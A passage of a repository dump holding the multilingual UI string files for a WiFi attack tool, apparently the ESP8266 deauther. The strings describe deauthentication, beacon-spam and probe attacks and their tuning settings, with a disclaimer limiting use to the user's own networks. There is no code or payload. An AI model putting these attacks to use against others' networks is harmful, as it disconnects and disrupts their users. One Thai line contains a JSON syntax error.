oznacza większą stabilność i mniej spamowania pakietów, ale może zająć więcej czasu, zanim klienci znajdą identyfikatory SSID podczas skanowania. \",\n\t\"setting_randomTX\": \"Włącza losową moc transmisji do wysyłania ramek beacon i sondujących.\",\n\t\"setting_probesPerSSID\": \"Ile ramek żądań wysyłać dla każdego SSID.\",\n\t\"setting_lang\": \"Język domyślny dla strony.\\nUpewnij się że plik językowy istnieje!\"\n}\n"
  },
  {
    "path": "web_interface/lang/ptbr.lang",
    "content": "{\r\n    \"lang\": \"pt-br\",\r\n    \"warning\": \"AVISO\",\r\n    \"disclaimer\": \"Este projeto é uma prova de conceito para fins educacionais e de teste.\\nNem o ESP8266 nem seu SDK foram criados para esse propósito. Podem ocorrer erros!\\n\\nUtilize somente contra suas próprias redes e dispositivos!\\n\\nO software utiliza quadros Wi-Fi válidos descritos no padrão IEEE 802.11 e não bloqueia nem interrompe nenhuma frequência.\\nPor favor, verifique os regulamentos legais em seu país antes de usá-lo.\\n\\nPor favor, não se refira a este projeto como \\\"jammer\\\", isso estraga totalmente o real objetivo deste projeto!\\nSe você faz isso, prova apenas que não entendeu nada do que este projeto representa.\\nPublicar conteúdo sobre isso sem uma explicação adequada mostra que você só o faz pelos cliques, fama e/ou dinheiro e não tem respeito pela propriedade intelectual, pela comunidade por trás dele e pela luta por um melhor padrão de WiFi.\\n\\nPara mais informações, visite:\",\r\n\t\"disclaimer-button\": \"Eu li e entendi o aviso acima\",\r\n\t\"reload\": \"Recarregar\",\r\n\t\"scan\": \"Escanear\",\r\n\t\"ssids\": \"SSIDs\",\r\n\t\"attacks\": \"Ataques\",\r\n\t\"settings\": \"Configurações\",\r\n\t\"info\": \"Informações\",\r\n\t\"info_span\": \"INFORMAÇÕES: \",\r\n\t\"all\": \"TUDO\",\r\n\t\"channel\": \"Canal\",\r\n\t\"devices\": \"Dispositivos salvos\",\r\n\t\"select_all\": \"Selecionar todos\",\r\n\t\"deselect_all\": \"Desselecionar todos\",\r\n\t\"remove_all\": \"Remover todos\",\r\n\t\"station_scan_time\": \"Tempo de escaneamento da estação\",\r\n\t\"new\": \"Novo\",\r\n\t\"save\": \"Salvar\",\r\n\t\"add\": \"Adicionar\",\r\n\t\"add_selected\": \"Clonar os APs selecionados\",\r\n\t\"overwrite\": \"Substituir\",\r\n\t\"time_interval\": \"Intervalo de tempo\",\r\n\t\"number\": \"Número\",\r\n\t\"targets\": \"Metas\",\r\n\t\"scan_info\": \"- Clique em escanear e aguarde até que o LED azul na sua placa apague (ou mude para verde) e clique em Recarregar.\\n- A interface Web não estará disponível durante o escaneamento de estação e você precisará reconectar!\\n- Selecione apenas um alvo!\\n\",\r\n\t\"ssids_info\": \"- Esta lista de SSID é usada para ataques de \\\"Beacon\\\" e \\\"Probe\\\".\\n- Cada SSID pode ter até 32 caracteres.\\n- Não se esqueça de clicar em Salvar ao editar um SSID.\\n- É necessário clicar em Recarregar após a clonagem dos SSIDs.\\n\",\r\n\t\"attack_info\": \"- Você pode perder a conexão ao iniciar um ataque!\\n- Você precisa selecionar um alvo para o ataque \\\"Deauth\\\".\\n- Você precisa de um SSID salvo para o ataque de \\\"Beacon\\\" e \\\"Probe\\\".\\n- Clique em Recarregar para atualizar a taxa de pacotes.\\n\",\r\n\t\"settings_info\": \"- Algumas configurações exigem uma reinicialização.\\n- Clique em Salvar para garantir que suas alterações sejam aplicadas.\\n\",\r\n\t\"info_disclaimer\": \"Em caso de erro inesperado, recarregue o site e consulte o monitor serial para obter mais informações de depuração.\",\r\n\t\"start_stop\": \"INICIAR / PARAR\",\r\n\t\"start\": \"INICIAR\",\r\n\t\"stop\": \"PARAR\",\r\n\t\"wifi_off\": \"WiFi desligado\",\r\n\t\"reboot\": \"Reiniciar\",\r\n\t\"reset\": \"Resetar\",\r\n\t\"enable_random\": \"Habilitar modo aleatório\",\r\n\t\"disable_random\": \"Desabilitar modo aleatório\",\r\n\t\"random_desc\": \"Ative o modo aleatório para gerar uma lista SSID aleatória em um determinado intervalo.\",\r\n\t\"deauth_desc\": \"Fecha a conexão de dispositivos WiFi enviando frames de desautenticação para pontos de acesso e dispositivos clientes selecionados.\\nIsso é possível porque muitos dispositivos não usam o padrão 802.11w-2009 que oferece proteção contra esse ataque.\\n- Por favor, selecione apenas um alvo! Quando você seleciona vários destinos executados em canais diferentes e inicia o ataque, o software alternará rapidamente entre esses canais e você não terá chance de se reconectar à interface Web.\\n\",\r\n\t\"beacon_desc\": \"Pacotes \\\"Beacon\\\" são usados para anunciar pontos de acesso. Ao enviar continuamente pacotes \\\"Beacon\\\", parece que você criou novas redes WiFi.\\nVocê pode especificar os nomes de rede através dos SSIDs.\",\r\n\t\"probe_desc\": \"As requisições do tipo \\\"Probe\\\" são enviadas pelos dispositivos clientes para perguntar se uma rede conhecida está próxima.\\nUtilize esse ataque para confundir os rastreadores de WiFi solicitando as redes especificadas na lista SSID.\\nÉ improvável que você veja qualquer impacto desse ataque na sua rede doméstica.\",\r\n\t\"setting_version\": \"Número da versão, por exemplo v2.0.\\nEsta configuração só pode ser alterada no código-fonte.\",\r\n\t\"setting_ssid\" : \"SSID do ponto de acesso usado para a interface Web (se ativado).\\nDeve ter entre 1 e 31 caracteres.\",\r\n\t\"setting_password\": \"Senha do ponto de acesso usado para a interface Web (se ativada).\\nDeve ter entre 8 e 31 caracteres.\",\r\n\t\"setting_channel\": \"Canal WiFi padrão usado ao iniciar.\",\r\n\t\"setting_hidden\": \"Oculta o ponto de acesso usado para a interface Web (se ativado).\",\r\n\t\"setting_captivePortal\": \"Habilita o portal cativo para o ponto de acesso (se ativado).\",\r\n\t\"setting_autosave\": \"Habilita o salvamento automático de SSIDs, nomes de dispositivos e configurações.\",\r\n\t\"setting_autosavetime\": \"Intervalo de tempo, em milissegundos, para salvamento automático.\",\r\n\t\"setting_display\": \"Habilita a interface de exibição.\",\r\n\t\"setting_displayTimeout\": \"Tempo, em segundos, em que a tela é desativada após inatividade.\\nPara desativar o tempo limite da tela, defina-o como 0.\",\r\n\t\"setting_serial\": \"Habilita a interface serial.\\nRecomenda-se não desabilitá-la!\",\r\n\t\"setting_serialEcho\": \"Habilita a exibição de cada mensagem recebida pela interface serial.\",\r\n\t\"setting_web\": \"Habilita a interface web.\",\r\n\t\"setting_webSpiffs\": \"Habilita o SPIFFS para todos os arquivos da web.\",\r\n\t\"setting_led\": \"Habilita o recurso de LED (RGB).\",\r\n\t\"setting_maxch\": \"Número máximo de canais para o escaneamento.\\nEUA = 11, EU = 13, Japão = 14 Brasil = 11.\",\r\n\t\"setting_macAP\": \"Endereço MAC usado para o modo de ponto de acesso.\\nObserve que o endereço MAC somente substituirá o endereço MAC interno quando o modo de ponto de acesso estiver ativado.\",\r\n\t\"setting_macSt\": \"Endereço MAC usado para o modo de estação.\\nObserve que o endereço MAC somente substituirá o endereço MAC interno quando o modo de estação estiver ativado.\",\r\n\t\"setting_chtime\": \"Tempo, em milissegundos, para escanear um canal antes de ir para o próximo (apenas se o salto de canais estiver habilitado).\",\r\n\t\"setting_minDeauths\": \"Número mínimo de frames de desautenticação durante o escaneamento para alterar o LED para o modo \\\"Deauth\\\".\",\r\n\t\"setting_attacktimeout\": \"Após quanto tempo (em segundos) o ataque será interrompido automaticamente.\\nDefina como 0 para desativá-lo.\",\r\n\t\"setting_forcepackets\": \"Quantas tentativas de enviar um pacote.\\nDefina esse valor mais alto se você deseja obter uma melhor taxa de pacotes em uma área ocupada.\\nCuidado, essa configuração pode tornar o dispositivo mais lento ou mais instável.\\nO valor máximo é 255!\",\r\n\t\"setting_deauthspertarget\": \"Quantos quadros de desautenticação e desassociação são enviados para cada destino.\",\r\n\t\"setting_deauthReason\": \"O código de razão enviado com os frames do tipo \\\"Deauth\\\" para informar ao dispositivo de destino por que a conexão será fechada.\",\r\n\t\"setting_beaconchannel\": \"Se ativado, enviará todos os frames em canais diferentes ao executar um ataque do tipo \\\"Beacon\\\".\",\r\n\t\"setting_beaconInterval\": \"Se definido como verdadeiro, os \\\"Beacon\\\" serão enviados a cada segundo. Se definido como falso, o intervalo será de 100 ms.\\nUm intervalo maior significa mais estabilidade e menos spam de pacotes, mas pode levar mais tempo até que os clientes encontrem os SSIDs durante o escaneamento.\",\r\n\t\"setting_randomTX\": \"Permite força aleatória de transmissão para enviar frames de requisições dos tipos \\\"Beacon\\\" e \\\"Probe\\\".\",\r\n\t\"setting_probesPerSSID\": \"Quantidade de frames de requisições \\\"Probe\\\" enviados para cada SSID.\",\r\n\t\"setting_lang\": \"Idioma padrão para a interface da Web.\\nVerifique se o arquivo de idioma existe!\"\r\n}"
  },
  {
    "path": "web_interface/lang/ro.lang",
    "content": "{\n  \"lang\": \"ro\",\n  \"warning\": \"ATENȚIE\",\n  \"disclaimer\": \"Acest proiect este o dovadă a conceptului de testare și scopuri educaționale.\\nESP8266 si SDK-ul nu au fost create pentru astfel de scopuri. Pot apărea bug-uri!\\n\\nUtilizați-l numai pe propriile rețele și dispozitive!\\n\\nAcest soft foloseste cadre valide Wifi descrise în standartul IEEE 802.11 și nu blochează sau întrerupe nici o frecvență.\\nVerificați reglementările legale din țara dvs. înainte de a le utiliza.\\n\\nNu vă referiți la acest proiect ca o  \\\"statie de brutaj\\\", acesta descridită complet scopul real al acestui proiect!\\nDacă o faci,aceasta dovedește doar că nu ați înțeles nimic despre din ceea ce reprezintă acest proiect..\\nPublicarea conținutului despre aceasta fără o explicație adecvată arată că o faceți doar pentru clicuri, faimă și / sau bani și că nu aveți respect pentru proprietatea intelectuală, comunitatea din spatele ei și lupta pentru un standard WiFi mai bun.\\n\\nPentru mai multe informații vizitați:\",\n\t\"disclaimer-button\": \"Am citit și am înțeles nota de mai sus\",\n\t\"reload\": \"Reîncarcă\",\n\t\"scan\": \"Scanați\",\n\t\"ssids\": \"SSID-uri\",\n\t\"attacks\": \"Atacuri\",\n\t\"settings\": \"Setări\",\n\t\"info\": \"Info\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Toate\",\n\t\"channel\": \"Canal\",\n\t\"devices\": \"Dispozitive salvate\",\n\t\"select_all\": \"Selectează tot\",\n\t\"deselect_all\": \"Deselectați tot\",\n\t\"remove_all\": \"Inlătură tot\",\n\t\"station_scan_time\": \"Timp de scanare a stației\",\n\t\"new\": \"Nou\",\n\t\"save\": \"Salvați\",\n\t\"add\": \"Adăuga\",\n\t\"add_selected\": \"Clonează AP-urile selectate\",\n\t\"overwrite\": \"Suprascriere\",\n\t\"time_interval\": \"Interval de timp\",\n\t\"number\": \"Număr\",\n\t\"targets\": \"Țintă\",\n\t\"scan_info\": \"- Faceți clic pe Scanare și așteptați până când LED-ul albastru de pe tablă se oprește (sau se schimbă în verde), apoi faceți clic pe Reîncărcare.\\n- Interfața web nu va fi disponibilă în timpul scanării unui post și va trebui să vă reconectați!\\n- Selectați doar o singură țintă!\\n\",\n\t\"ssids_info\": \"- Această listă SSID este utilizată pentru atacul sondei și sondei.\\n- Fiecare SSID poate avea până la 32 de caractere.\\n- Nu uitați să faceți clic pe Salvați când ați editat un SSID.\\n- Trebuie să faceți clic pe Reîncărcați după clonarea SSID-urilor.\\n\",\n\t\"attack_info\": \"- S-ar putea să pierdeți conexiunea când începeți un atac!\\n- Trebuie să selectați o țintă pentru atacul deauth.\\n- Aveți nevoie de un SSID salvat pentru atacul sondei și sondei.\\n- Faceți clic pe reîncărcați pentru a actualiza rata de pachete.\\n\",\n\t\"settings_info\": \"- Unele setări necesită repornire.\\n- Faceți clic pe Salvați pentru a vă asigura că modificările sunt aplicate.\\n\",\n\t\"info_disclaimer\": \"În cazul unei erori neașteptate, reîncărcați site-ul și examinați monitorul serial pentru o depanare ulterioară.\",\n\t\"start_stop\": \"START / STOP\",\n\t\"start\": \"START\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"Stingeti wifi-ul\",\n\t\"reboot\": \"Reporniți\",\n\t\"reset\": \"Restabili\",\n\t\"enable_random\": \"Activați modul aleatoriu\",\n\t\"disable_random\": \"Dezactivați modul aleatoriu\",\n\t\"random_desc\": \"Activați modul aleatoriu pentru a genera o listă aleatorie SSID într-un interval dat.\",\n\t\"deauth_desc\": \"Închide conexiunea dispozitivelor WiFi prin trimiterea cadrelor de autentificare pentru a accesa punctele și dispozitivele client selectate.\\nAcest lucru este posibil numai pentru că o mulțime de dispozitive nu utilizează standardul 802.11w-2009 care oferă o protecție împotriva acestui atac.\\n- Selectați doar o singură țintă! Când selectați mai multe ținte care rulează pe diferite canale și începeți atacul, acesta va comuta rapid între acele canale și nu aveți nicio șansă să vă reconectați la interfața web.\\n\",\n\t\"beacon_desc\": \"Pachetele de baliză sunt utilizate pentru a face publicitate punctelor de acces. Prin trimiterea continuă a pachetelor de baliză, va părea că ați creat noi rețele WiFi.\\nPuteți specifica numele rețelei sub SSID-uri.\",\n\t\"probe_desc\": \"Solicitările sonde sunt trimise de dispozitivele client pentru a întreba dacă o rețea cunoscută este în apropiere.\\nUtilizați acest atac pentru a confunda trackerele WiFi solicitând rețelele pe care le-ați specificat în lista SSID.\\nEste puțin probabil că veți vedea impactul acestui atac cu rețeaua dvs. de domiciliu.\",\n\t\"setting_version\": \"Versiunea numarul, i.e. v2.0.\\nAceastă setare poate fi modificată numai în codul sursă.\",\n\t\"setting_ssid\" : \"SSID al punctului de acces utilizat pentru interfața web (dacă este activat).\\nLungimea trebuie să fie cuprinsă între 1 și 31 de caractere.\",\n\t\"setting_password\": \"Parola punctului de acces utilizat pentru interfața web (dacă este activată).\\nLungimea trebuie să aibă între 8 și 31 de caractere.\",\n\t\"setting_channel\": \"Canal WiFi prestabilit utilizat la pornire.\",\n\t\"setting_hidden\": \"Ascunde punctul de acces utilizat pentru interfața web (dacă este activat).\",\n\t\"setting_captivePortal\": \"Activează portalul captiv pentru punctul de acces (dacă este activat).\",\n\t\"setting_autosave\": \"Permite salvarea automată a SSID-urilor, a numelor dispozitivelor și a setărilor.\",\n\t\"setting_autosavetime\": \"Interval de timp pentru salvarea automată în milisecunde.\",\n\t\"setting_display\": \"Activează interfața de afișare.\",\n\t\"setting_displayTimeout\": \"Timpul în secunde după care afișajul se stinge când este inactivă.\\nPentru a dezactiva expirarea timpului de afișare, setați-l la 0.\",\n\t\"setting_serial\": \"Activează interfața serială.\\nNu este recomandat să-l dezactivați!\",\n\t\"setting_serialEcho\": \"Permite ecou pentru fiecare mesaj primit peste serial.\",\n\t\"setting_web\": \"Activează interfața web.\",\n\t\"setting_webSpiffs\": \"Activează SPIFFS pentru toate fișierele web.\",\n\t\"setting_led\": \"Permite caracteristica LED (RGB).\",\n\t\"setting_maxch\": \"Max. canal pentru scanare.\\nUS = 11, EU = 13, Japonia = 14.\",\n\t\"setting_macAP\": \"Adresa MAC folosită pentru modul punct de acces.\\nRețineți că adresa MAC va înlocui numai adresa MAC internă când modul de punct de acces este activat.\",\n\t\"setting_macSt\": \"Adresa MAC folosită pentru modul stație.\\nRețineți că adresa MAC va înlocui numai adresa MAC internă când modul stație este activat.\",\n\t\"setting_chtime\": \"Timp pentru scanarea unui canal înainte de a trece la următoarea în milisecunde (numai dacă este activată alunecarea canalului).\",\n\t\"setting_minDeauths\": \"Numărul minim de cadre de autentificare la scanare pentru a schimba modul LED-uri în modul de atestat.\",\n\t\"setting_attacktimeout\": \"După ce timp (în secunde) atacul se va opri automat.\\nSetați-l la 0 pentru al dezactiva.\",\n\t\"setting_forcepackets\": \"Câte încercări de a trimite un pachet.\\nSetați această valoare mai mare dacă doriți să obțineți o rată de pachet mai bună într-o zonă ocupată.\\nAveți grijă ca această setare să facă aparatul mai lent sau mai instabil.\\nValoarea maximă este 255!\",\n\t\"setting_deauthspertarget\": \"Câte cadre de autentificare și de dezasociune sunt trimise pentru fiecare țintă.\",\n\t\"setting_deauthReason\": \"Codul motiv care este trimis cu cadrele de deaut pentru a indica dispozitivului destinație de ce conexiunea va fi închisă.\",\n\t\"setting_beaconchannel\": \"Dacă este activată, va trimite toate cadrele pe diferite canale atunci când rulează un atac de baliză.\",\n\t\"setting_beaconInterval\": \"Dacă este setat corect, balize vor fi trimise în fiecare secundă. Dacă este setat la false, intervalul va fi de 100ms.\\nUn interval mai lung înseamnă mai multă stabilitate și mai puțin spam de pachete, dar ar putea dura mai mult până când clienții găsesc ssids atunci când scanează.\",\n\t\"setting_randomTX\": \"Permite puterea de transmisie randomizată pentru trimiterea cadrelor de baliză și a sondei.\",\n\t\"setting_probesPerSSID\": \"Câte cadre de solicitare a sondei sunt trimise pentru fiecare SSID.\",\n\t\"setting_lang\": \"Limba prestabilită pentru interfața web.\\nAsigurați-vă că fișierul de limbă există!\"\n}\n"
  },
  {
    "path": "web_interface/lang/ru.lang",
    "content": "{\r\n    \"lang\": \"ru\",\r\n    \"warning\": \"ПРЕДУПРЕЖДЕНИЕ\",\r\n    \"disclaimer\": \"Этот проект можно использовать только для тестирования и в образовательных целях. \\n Используйте его только для своих сетей и устройств! \\n Использует действительные фреймы Wi-Fi, описанные в стандарте IEEE 802.11, не блокирует и не прерывает какие-либо частоты.\\nПожалуйста, ознакомьтесь с правовыми нормами в своем страны, прежде чем использовать этот код. \\n\\nПожалуйста, не обращайтесь к этому проекту как «jammer», что полностью подрывает реальную цель этого проекта! \\nЕсли вы это сделаете, это только докажет, что вы ничего не понимали из того, что этот проект означает. \\n Публикация контента об этом без надлежащего объяснения показывает, что вы делаете это только за клики, славу и деньги и не уважаете интеллектуальную собственность, сообщество за ней и борьбу за лучший стандарт WiFi . \\n\\nДля получения дополнительной информации посетите:\",\r\n\t\"disclaimer-button\": \"Я прочитал и понял сообщение выше\",\r\n\t\"reload\": \"Обновить\",\r\n\t\"scan\": \"Сканировать\",\r\n\t\"ssids\": \"SSIDs\",\r\n\t\"attacks\": \"Атаки\",\r\n\t\"settings\": \"Конфигурация\",\r\n\t\"info\": \"Информация\",\r\n\t\"info_span\": \"Информация: \",\r\n\t\"all\": \"Все\",\r\n\t\"channel\": \"Канал\",\r\n\t\"devices\": \"Сохранить устройство\",\r\n\t\"select_all\": \"Выбрать все\",\r\n\t\"deselect_all\": \"Отменить все\",\r\n\t\"remove_all\": \"Удалить все\",\r\n\t\"station_scan_time\": \"Время сканирования станций\",\r\n\t\"new\": \"Новое\",\r\n\t\"save\": \"Сохранить\",\r\n\t\"add\": \"Добавить\",\r\n\t\"add_selected\": \"Клонировать выбранные APs\",\r\n\t\"overwrite\": \"Затереть\",\r\n\t\"time_interval\": \"Временной интервал\",\r\n\t\"number\": \"Номер\",\r\n\t\"targets\": \"Цели\",\r\n\t\"scan_info\": \"- Нажмите «Сканировать» и подождите, пока синий светодиод на вашей плате не погаснет (или не станет зеленым), а затем нажмите «Обновить». \\n- Веб-интерфейс будет недоступен во время сканирования сети, и вам нужно будет снова подключиться! \\n- Пожалуйста, выберите только одну цель! \\n\",\r\n\t\"ssids_info\": \"- Этот список SSID используется для атаки маяка и зонда. \\n- Каждый SSID может содержать до 32 символа. \\n- Не забудьте нажать «Сохранить», когда вы отредактировали SSID. \\n- Вы должны нажать «Обновить» после клонирования SSID. \\n\",\r\n\t\"attack_info\": \"- Вы можете потерять соединение при запуске атаки! \\n- Вам нужно выбрать цель для атаки deauth. \\n- Вам нужен сохраненный SSID для атаки маяка и зонда. \\n- Нажмите перезагрузить, чтобы обновить скорость передачи пакетов. \\n\",\r\n\t\"settings_info\": \"- Некоторые настройки требуют перезагрузки. \\n- Нажмите «Сохранить», чтобы убедиться, что ваши изменения применены. \\n\",\r\n\t\"info_disclaimer\": \"В случае непредвиденной ошибки перезагрузите сайт и посмотрите на последовательный монитор для дальнейшей отладки.\",\r\n\t\"start_stop\": \"СТАРТ / СТОП\",\r\n\t\"start\": \"СТАРТ\",\r\n\t\"stop\": \"СТОП\",\r\n\t\"wifi_off\": \"WiFi Выключить\",\r\n\t\"reboot\": \"Перезагрузить\",\r\n\t\"reset\": \"Сброс\",\r\n\t\"enable_random\": \"Включить Рандомный режим\",\r\n\t\"disable_random\": \"Выключить Рандомный режим\",\r\n\t\"random_desc\": \"Включите случайный режим для создания случайного списка SSID в заданный интервал.\",\r\n\t\"deauth_desc\": \"Закрывает подключение WiFi-устройств, отправляя фреймы деаутентификации для доступа к точкам и выбранным клиентским устройствам. \\nЭто возможно только потому, что многие устройства не используют стандарт 802.11w-2009, который обеспечивает защиту от этой атаки. \\n- Выберите только одну цель! Когда вы выбираете несколько целей, которые запускаются на разных каналах и запускают атаку, они быстро переключаются между этими каналами, и у вас нет шансов повторно подключиться к веб-интерфейсу. \\n\",\r\n\t\"beacon_desc\": \"Маяковые пакеты используются для рекламы точек доступа. Постоянно отправляя пакеты маяковых радиостанций, это будет выглядеть так, как будто вы создали новые WiFi-сети. \\nВы можете указать сетевые имена под SSID.\",\r\n\t\"probe_desc\": \"Запросы зонда отправляются клиентскими устройствами, чтобы спросить, находится ли известная сеть поблизости. \\nИспользуйте эту атаку, чтобы запутать WiFi-трекеры, запросив сети, которые вы указали в списке SSID. \\nВ маловероятно, что вы увидите какое-либо влияние этой атаки на ваш домашнюю сеть.\",\r\n\t\"setting_version\": \"Номер версии, т. Е. V2.0. \\nЭту настройку можно изменить только в исходном коде.\",\r\n\t\"setting_ssid\" : \"SSID точки доступа, используемой для веб-интерфейса (если разрешено). \\n Длина должна быть от 1 до 31 символа.\",\r\n\t\"setting_password\": \"Пароль точки доступа, используемой для веб-интерфейса (если включен). \\n Длина должна быть от 8 до 31 символа.\",\r\n\t\"setting_channel\": \"Стандартный WiFi-канал, который используется при запуске.\",\r\n\t\"setting_hidden\": \"Скрывает точку доступа, которая используется для веб-интерфейса (если включена).\",\r\n\t\"setting_captivePortal\": \"Включает доступный портал для точки доступа (если включен).\",\r\n\t\"setting_autosave\": \"Включает автоматическое сохранение SSID, имен устройств и настроек.\",\r\n\t\"setting_autosavetime\": \"Интервал времени для автоматического сохранения в миллисекундах.\",\r\n\t\"setting_display\": \"Включает интерфейс отображения.\",\r\n\t\"setting_displayTimeout\": \"Время в секундах, после которого дисплей выключается, когда он неактивен. \\nЧтобы отключить таймаут отображения, установите его в 0.\",\r\n\t\"setting_serial\": \"Включает последовательный интерфейс. \\nНе рекомендуется не отключать его!\",\r\n\t\"setting_serialEcho\": \"Включает эхо для каждого входящего сообщения через последовательный порт.\",\r\n\t\"setting_web\": \"Включает веб-интерфейс.\",\r\n\t\"setting_webSpiffs\": \"Включает SPIFFS для всех веб-файлов.\",\r\n\t\"setting_led\": \"Включает функцию (RGB) LED.\",\r\n\t\"setting_maxch\": \"Максимальный канал для сканирования. \\nUS = 11, EU = 13, Япония = 14.\",\r\n\t\"setting_macAP\": \"MAC-адрес, используемый для режима точки доступа. \\nОбратите внимание, что MAC-адрес заменяет только внутренний MAC-адрес, когда включен режим точки доступа.\",\r\n\t\"setting_macSt\": \"MAC-адрес, используемый для режима станции. \\nПожалуйста, обратите внимание, что MAC-адрес заменит только внутренний MAC-адрес, когда включен режим станции.\",\r\n\t\"setting_chtime\": \"Время сканирования одного канала перед переходом к следующему в миллисекундах (только если включен переключение каналов).\",\r\n\t\"setting_minDeauths\": \"Минимальное количество кадров деаутентификации при сканировании для изменения светодиода в режим deauth.\",\r\n\t\"setting_attacktimeout\": \"Через какое время (в секундах) атака автоматически остановится. \\nУстановите ее на 0, чтобы отключить ее.\",\r\n\t\"setting_forcepackets\": \"Сколько попыток отправить пакет. \\nУстановите это значение выше, если вы хотите достичь более высокой скорости передачи пакетов в загруженной области. \\nУбедитесь, что этот параметр может сделать устройство более медленным или более неустойчивым. \\nМаксимальное значение - 255!\",\r\n\t\"setting_deauthspertarget\": \"Сколько кадров деаутентификации и дизассемблирования отправляется для каждой цели.\",\r\n\t\"setting_deauthReason\": \"Код причины, который отправляется с кадрами deauth, чтобы сообщить целевому устройству, почему соединение будет закрыто.\",\r\n\t\"setting_beaconchannel\": \"Если включено, будет отправлено все кадры по разным каналам при запуске атаки маяка.\",\r\n\t\"setting_beaconInterval\": \"Если установлено true, маяки будут отправляться каждую секунду. Если установлено значение false, интервал будет равен 100 мкс. \\nA более длительный интервал означает большую стабильность и меньше спама пакетов, но это может занять больше времени, пока клиенты не найдут ssids при сканировании.\",\r\n\t\"setting_randomTX\": \"Позволяет рандомизированную мощность передачи для отправки кадров маяка и зонда запроса.\",\r\n\t\"setting_probesPerSSID\": \"Сколько кадров запроса запроса отправляется для каждого SSID.\",\r\n\t\"setting_lang\": \"Язык по умолчанию для веб-интерфейса. \\nУбедитесь, что языковой файл существует!\"\r\n}"
  },
  {
    "path": "web_interface/lang/th.lang",
    "content": "  \n{\n    \"lang\": \"th\",\n    \"warning\": \"คำเตือน\",\n    \"disclaimer\": \"โครงการนี้เป็นหลักฐานของแนวคิดสำหรับการทดสอบและเพื่อการศึกษา \\n ทั้ง ESP8266 และ SDK ไม่ได้ถูกสร้างขึ้นหรือมีวัตถุประสงค์เพื่อวัตถุประสงค์ดังกล่าว ข้อบกพร่องสามารถเกิดขึ้นได้! \\n\\n ใช้กับเครือข่ายและอุปกรณ์ของคุณเท่านั้น! \\n\\n ใช้เฟรม Wi-Fi ที่ถูกต้องซึ่งอธิบายไว้ในมาตรฐาน IEEE 802.11 และไม่ปิดกั้นหรือรบกวนความถี่ใด ๆ \\n โปรดตรวจสอบข้อบังคับทางกฎหมายใน ประเทศก่อนที่จะใช้ \\n\\n โปรดอย่าอ้างถึงโครงการนี้ว่า \\ \"jammer \\\" ซึ่งทำลายวัตถุประสงค์ที่แท้จริงของโครงการนี้โดยสิ้นเชิง! \\n หากคุณทำเช่นนั้นจะพิสูจน์ได้ว่าคุณไม่เข้าใจอะไรเลย โครงการนี้มีไว้สำหรับ \\n การเผยแพร่เนื้อหาเกี่ยวกับสิ่งนี้โดยไม่มีคำอธิบายที่เหมาะสมแสดงว่าคุณทำเพื่อการคลิกชื่อเสียงและ / หรือเงินและไม่เคารพทรัพย์สินทางปัญญาชุมชนที่อยู่เบื้องหลังและการต่อสู้เพื่อมาตรฐาน WiFi ที่ดีกว่า . \\n\\n สำหรับข้อมูลเพิ่มเติม:\",\n\t\"disclaimer-button\": \"ฉันได้อ่านและทำความเข้าใจกับประกาศด้านบน\",\n\t\"reload\": \"Reload\",\n\t\"scan\": \"สแกน\",\n\t\"ssids\": \"SSIDs\",\n\t\"attacks\": \"โจมตี\",\n\t\"settings\": \"ตั้งค่า\",\n\t\"info\": \"ข้อมูล\",\n\t\"info_span\": \"ข้อมูล: \",\n\t\"all\": \"ทั้งหมด\",\n\t\"channel\": \"ทั้งหมด\",\n\t\"devices\": \"อุปกรณ์ที่บันทึกไว้\",\n\t\"select_all\": \"เลือกทั้งหมด\",\n\t\"deselect_all\": \"ยกเลิกการเลือกทั้งหมด\",\n\t\"remove_all\": \"ลบทั้งหมด\",\n\t\"station_scan_time\": \"เวลาสแกน Station\",\n\t\"new\": \"New\",\n\t\"save\": \"บันทึก\",\n\t\"add\": \"เพิ่ม\",\n\t\"add_selected\": \"โคลน APs ที่เลือกไว้\",\n\t\"overwrite\": \"เขียนทับ\",\n\t\"time_interval\": \"ช่วงเวลา\",\n\t\"number\": \"Number\",\n\t\"targets\": \"เป้าหมาย\",\n\t\"scan_info\": \"- คลิกสแกนแล้วรอจนกระทั่งไฟ LED สีฟ้าบนบอร์ดของคุณดับ (หรือเปลี่ยนเป็นสีเขียว) จากนั้นคลิกที่โหลด \\n- เว็บอินเตอร์เฟสจะไม่สามารถใช้งานได้ในระหว่างการสแกนสถานีและคุณจะต้องเชื่อมต่อใหม่! \\n- โปรดเลือก เป้าหมายเดียวเท่านั้น! \\n\",\n\t\"ssids_info\": \"- รายการ SSID นี้ใช้สำหรับการโจมตีด้วยสัญญาณและโพรบ \\n - แต่ละ SSID สามารถมีอักขระได้สูงสุด 32 ตัว \\n - อย่าลืมคลิกบันทึกเมื่อคุณแก้ไข SSID \\n - คุณต้องคลิกโหลดซ้ำหลังจากการโคลน SSIDs. \\n\",\n\t\"attack_info\": \"- คุณอาจสูญเสียการเชื่อมต่อเมื่อเริ่มการโจมตี! \\n- คุณต้องเลือกเป้าหมายสำหรับการโจมตีแบบ deauth \\n- คุณต้องมี SSID ที่บันทึกไว้สำหรับการโจมตีแบบบีคอนและการสอบสวน \\n- คลิกที่โหลดซ้ำเพื่อรีเฟรชอัตราแพ็คเก็\",\n\t\"settings_info\": \"- การตั้งค่าบางอย่างจำเป็นต้องรีบูต \\n- คลิกบันทึกเพื่อให้แน่ใจว่ามีการใช้การเปลี่ยนแปลงของคุณ \\n\",\n\t\"info_disclaimer\": \"ในกรณีที่มีข้อผิดพลาดที่ไม่คาดคิดโปรดโหลดไซต์ใหม่อีกครั้งและดูการตรวจสอบพอร์ตอนุกรมสำหรับการดีบักเพิ่มเติม\",\n\t\"start_stop\": \"START / STOP\",\n\t\"start\": \"START\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"ปิด Wifi\",\n\t\"reboot\": \"รีบูต\",\n\t\"reset\": \"รีเซ็ท\",\n\t\"enable_random\": \"เปิดโหมด Random,\n\t\"disable_random\": \"ปิดโหมด Random\",\n\"random_desc\": \"เปิดใช้งานโหมดสุ่มเพื่อสร้างรายการ SSID แบบสุ่มในช่วงเวลาที่กำหนด\",\n\"deauth_desc\": \"ปิดการเชื่อมต่อของอุปกรณ์ WiFi โดยส่งเฟรมการตรวจสอบสิทธิ์ไปยังจุดเข้าใช้งานและอุปกรณ์ไคลเอนต์ที่คุณเลือก \\n สิ่งนี้เป็นไปได้เพียงเพราะอุปกรณ์จำนวนมากไม่ได้ใช้มาตรฐาน 802.11w-2009 ที่ให้การป้องกัน โจมตี. \\n- โปรดเลือกเพียงหนึ่งเป้าหมายเท่านั้น! 